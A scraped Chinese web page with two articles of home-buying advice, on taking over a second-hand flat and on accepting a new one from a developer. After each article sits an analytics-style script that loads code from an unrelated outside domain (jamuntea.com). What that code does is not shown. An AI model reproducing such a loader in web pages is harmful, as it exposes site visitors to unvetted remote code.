分享一下二手房收房注意事项都有哪些

现在二手房的市场很红火，新房的价格没有下降的趋势，不少人都想购买二手房，不过很多人都不太清楚二手房收房注意事项，这篇文章就专门为大家说一说，二手房收房注意事项都有哪些。1、检查好房子里的基本设施在二手房收房注意事项中，首先要检查一下房子里的基本设施，一般情况下，二手房的年代都比较久远了，所以新买家在收房时，要重点检查房屋的质量问题，比如房子的门窗的密封性怎么样，房子的墙壁和地面有没有破损，水电开关能不能正常使用，如果是顶楼，还要检查屋顶有没有漏水的迹象，在收房前发现问题，及时和原房主沟通，避免日后出现纠纷。2、确保卖家结清了各项费用在验收二手房时，还有一项非常重要的注意事项，那就是必须确保卖家把所有的日常费用都交清了，买家在收房时，有很多业务都要办理过户，比如家里的煤气，水电，宽度和有线电视，这些都要转移到新房主的名下，而在办理过户前，买家一定要核实清楚，旧房主已经把这些费用都结清了，否则过户后新房主就要承担之前的欠款了。3、确保前户主的户口已迁移出去在二手房收房注意事项中，有一点大家必须要谨记，那就是要确保前户主的户口已经迁移出去了，如果卖家只是把房子抛售了出去，而户口未迁走，就会导致新业主无法落户，在收房时，买卖双方可以一起到派出所进行核查，买家在确保旧户主把户口迁走后再收房。以上这几点二手房收房注意事项非常重要，买了二手房的业主，在收房时千万不能大意，大家在收房前最好多了解一些相关的知识。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

交房有哪些注意事项 不看后悔！

买房子是件大事，交房时更需要注意。交房有哪些注意事项？对于购房者来说，没有到手就不能完全保证房子的质量。如果移交房屋时发现与承诺不一致，应拒绝签字，以免影响其权益。那么，交房有哪些注意事项呢?一、交房时有哪些注意事项之需要去物业部门查看以下信息:1.检查房屋的《房屋质量保证书》并将其带走。2、查看《家居使用须知》，也可以带走。3、检查《竣工验收记录表》，仔细检查后，不能带走。4.核对面积测量表，了解房屋实际面积。5、要求管道配图(水、强电、弱电、结构)可以带走，以备日后维修。数据通常可以在10分钟内查看。二、交房有哪些注意事项之确认多退少补的面积、合同、价格:确认销售合同的图纸与实际是否一致，结构是否与原设计相同，房屋面积是否由房地产部门实际测量，与合同面积是否有差异。(首先看一下销售合同，看看有多大的不同，一般不考虑在3%以内，超出的就需要处理，建议将合同设置为2%的误差，但不超过5%最好)。一般来说，所需的时间因人而异。看了30到40分钟的信息后，基本上可以查看一下房子。注意暂时不要交物业费和相关费用。这时，物业会催促你交付，你可以和他们沟通，然后在验收后支付费用。三、交房有哪些注意事项之房屋实际验收:从房子里拿钥匙，每个钥匙都应该有一把楼层钥匙、一把门钥匙、一把邮箱钥匙等等。然后你可以和物业人员一起去看房子。1.交房子的时候带上工具箱首先，你必须准备好工具，检查房子，有检查房子的工具。你必须带一把锤子、一根水管和一支电笔。这些都是必要的工具。将这些工具放在一起，并考虑这些工具如何使用。锤子是用来敲打墙壁查看是否有空鼓。软管用于检查地漏和排水坡度。电笔是自然检查开关电路插座。2.移交房屋时仔细核对图纸在付款的时候有一个特别的地方需要注意，那就是检查房子的面积。一平方米是几万元，要仔细核对一下。同时，注意一些特殊场所的尺度。例如，厨房和浴室，厨房要放冰箱，浴室要放洗衣机，这些都应该在尺寸上考虑，避免空间的缺乏留下。以上是交房有哪些注意事项相关回答。在移交房屋前，一定要做好房屋验收工作。如发现异常情况，应及时与销售中心协商。同时，你必须拒绝签字，然后在问题解决后再签字。看完以上，交房有哪些注意事项相信业主心中有数。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();